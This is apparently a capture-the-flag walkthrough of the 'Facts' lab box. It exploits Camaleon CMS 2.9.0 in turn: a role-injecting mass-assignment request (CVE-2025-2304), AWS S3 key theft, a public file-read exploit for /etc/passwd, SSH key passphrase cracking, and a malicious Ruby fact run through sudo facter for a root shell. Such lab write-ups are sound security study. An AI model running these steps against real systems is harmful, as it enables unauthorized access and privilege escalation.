Overview
Facts is an easy Linux box centred around a Camaleon CMS installation. The attack chain involves self-registering an admin account, exploiting a mass assignment vulnerability to escalate privileges within the CMS, harvesting exposed AWS credentials to pull an SSH private key from an S3 bucket, using a file read CVE to identify the target user, cracking the key passphrase, and finally abusing a sudoers entry for facter to load a malicious Ruby fact and get root.
Reconnaissance
Full port scan to start:
nmap -sS -Pn -sV -sC -O 10.129.5.127
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
Only two ports. OpenSSH 9.9p1 is recent and nginx 1.26.3 is patched against known CVEs, so these services aren’t our entry point. Let’s look at the web app.
The site tries to redirect to http://facts.htb, so we add it to our hosts file:
sudo nano /etc/hosts
# Add: 10.129.5.127 facts.htb
Navigating to http://facts.htb reveals a trivia facts website with various posts and a search bar. Testing for basic injection and XSS in the search bar comes up empty.
Admin Panel Discovery
A quick stab at http://facts.htb/admin lands us on an admin login form. Inspecting the page source reveals two interesting URLs:
http://facts.htb/admin/forgot
http://facts.htb/admin/register
Navigating to /admin/register presents an open registration form — no invite code, no approval required. We create an account and log straight in.
The dashboard is sparse since it’s a new account, but it reveals one critical piece of information: Camaleon CMS version 2.9.0.
Privilege Escalation — CVE-2025-2304 Mass Assignment
Camaleon CMS 2.9.0 is vulnerable to CVE-2025-2304, a privilege escalation via mass assignment. The password change endpoint doesn’t restrict which user attributes can be updated, so we can inject a role parameter alongside the password change request to promote ourselves to administrator.
Step 1 — Navigate to your profile and initiate a password change.
In the admin panel, go to your profile and click “Change Password”. Before submitting, turn on Burp Suite intercept.
Step 2 — Capture the POST request.
With intercept on, click “Process”. Burp captures the request:
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
Content-Type: application/x-www-form-urlencoded
_method=patch&authenticity_token=<token>&password%5Bpassword%5D=password1&password%5Bpassword_confirmation%5D=password1
Step 3 — Inject the role parameter.
Append &password%5Brole%5D=admin to the end of the body (URL-decoded: &password[role]=admin):
_method=patch&authenticity_token=<token>&password%5Bpassword%5D=password1&password%5Bpassword_confirmation%5D=password1&password%5Brole%5D=admin
Forward the request and turn off intercept. Refresh the admin panel — role has changed from Client to Administrator.
AWS Credential Harvesting
With full admin access, the Settings panel opens up. Under Settings -> General Site -> Filesystem Settings, we find exposed AWS credentials:
AWS S3 Access Key: AKIA13F0DF3796DD994F
AWS S3 Secret Key: I8drDL9cfNDD/Sc9g7Ltwh2elLnMCIvLQX1rkw51
AWS S3 Bucket: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Note: AWS credentials rotate with each instance reset, so yours will differ.
Configure the AWS CLI with these credentials:
aws configure --profile facts
# Access Key: AKIA13F0DF3796DD994F
# Secret Key: I8drDL9cfNDD/Sc9g7Ltwh2elLnMCIvLQX1rkw51
# Region: us-east-1
# Output format: (Enter)
List all available buckets via the local endpoint:
aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts
2025-09-11 07:06:52 internal
2025-09-11 07:06:52 randomfacts
Two buckets. The internal one is interesting. Let’s peek inside:
aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --profile facts --recursive
An SSH private key sitting in .ssh/id_ed25519. Let’s pull it:
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321 --profile facts
We have the key but no idea who it belongs to.
User Enumeration — CVE-2024-46987 Arbitrary File Read
This version of Camaleon CMS is also vulnerable to CVE-2024-46987, an authenticated arbitrary file read. We can use this to read /etc/passwd and identify local users.
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
python3 CVE-2024-46987.py -u http://facts.htb -l superadmin -p password1 -v /etc/passwd
Two interesting users revealed: william and trivia.
SSH Access — Cracking the Key Passphrase
The private key is passphrase protected. Time to crack it.
Step 1 — Convert the key for John the Ripper:
ssh2john id_ed25519 > id_ed25519.hash
Step 2 — Crack against rockyou:
john id_ed25519.hash --wordlist=/usr/share/wordlists/rockyou.txt
john id_ed25519.hash --show
Passphrase cracks to: dragonballz
Step 3 — SSH in as trivia:
chmod 600 id_ed25519
ssh -i id_ed25519 trivia@facts.htb
# Passphrase: dragonballz
We’re in. Grab the user flag from ~/user.txt.
Privilege Escalation — facter Custom Ruby Payload
Basic enumeration first:
id && whoami
hostname
uname -a
sudo -l
The sudo -l output is immediately interesting:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facter is a system profiling tool from the Puppet ecosystem that gathers system facts — OS details, hardware info, network config, and so on. Running sudo facter --help reveals a useful flag:
[--custom-dir] A directory to use for custom facts.
We can point facter at a directory containing our own Ruby code, which it will execute as root. Let’s craft the payload:
cat << 'EOF' > /tmp/pwn.rb
Facter.add("pwn") do
setcode do
exec("/bin/bash")
end
end
EOF
sudo /usr/bin/facter --custom-dir /tmp
Root shell. Grab the flag from /root/flag.txt.
Attack Chain Summary
| Step | Detail |
|---|---|
| Recon | nmap → port 80, nginx, Camaleon CMS 2.9.0 |
| Initial access | Open /admin/register → self-register account |
| Privilege escalation (CMS) | CVE-2025-2304 mass assignment → inject password[role]=admin |
| Credential harvest | Settings panel → AWS S3 credentials exposed |
| Key extraction | aws s3 cp → internal/.ssh/id_ed25519 |
| User enumeration | CVE-2024-46987 file read → /etc/passwd → trivia |
| Passphrase crack | ssh2john + john + rockyou → dragonballz |
| User flag | ssh -i id_ed25519 trivia@facts.htb → ~/user.txt |
| Root | sudo facter --custom-dir /tmp with malicious Ruby fact → root shell |
| Root flag | /root/flag.txt |